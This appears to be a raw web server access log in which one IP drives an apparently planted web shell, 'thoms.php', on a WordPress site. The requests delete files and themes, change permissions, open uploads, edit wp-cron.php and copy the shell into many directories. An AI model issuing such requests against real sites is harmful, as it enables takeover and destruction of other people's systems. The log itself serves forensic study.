45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?dl=.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13765 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?del=txets.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13763 "http://163.245.207.76:443/thoms.php?del=txets.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /bft.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?chmod=postnews.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /bft.com.tw/upgrade/ HTTP/1.1" 200 6533 "https://163.245.207.76:443/bft.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Fpostnews.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Fpostnews.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade%2Ftermps.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade%2Ftermps.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?del=.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13765 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?dl=txets.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13766 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38759 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:01 -0400] "GET /thoms.php?edit=thoms.php&p=bft.com.tw HTTP/1.1" 200 56161 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=bft.com.tw HTTP/1.1" 200 59731 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11317 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11315 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17006 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17005 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p= HTTP/1.1" 200 11927 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11415 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 11919 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17005 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17197 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?edit=error_log&p=bft.com.tw HTTP/1.1" 200 12867 "http://163.245.207.76:443/thoms.php?edit=error_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?edit=error_log&env=ace&p=bft.com.tw HTTP/1.1" 200 16475 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?edit=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 13931 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:03 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=bft.com.tw HTTP/1.1" 200 17524 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17340 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17321 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11341 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?chmod=upgrade&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:04 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13473 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?del=themes&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13475 "http://163.245.207.76:443/thoms.php?del=themes&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /bft.com.tw/wp-content/languages/ HTTP/1.1" 200 4162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11909 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /bft.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12058 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12187 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?chmod=plugins&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12577 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
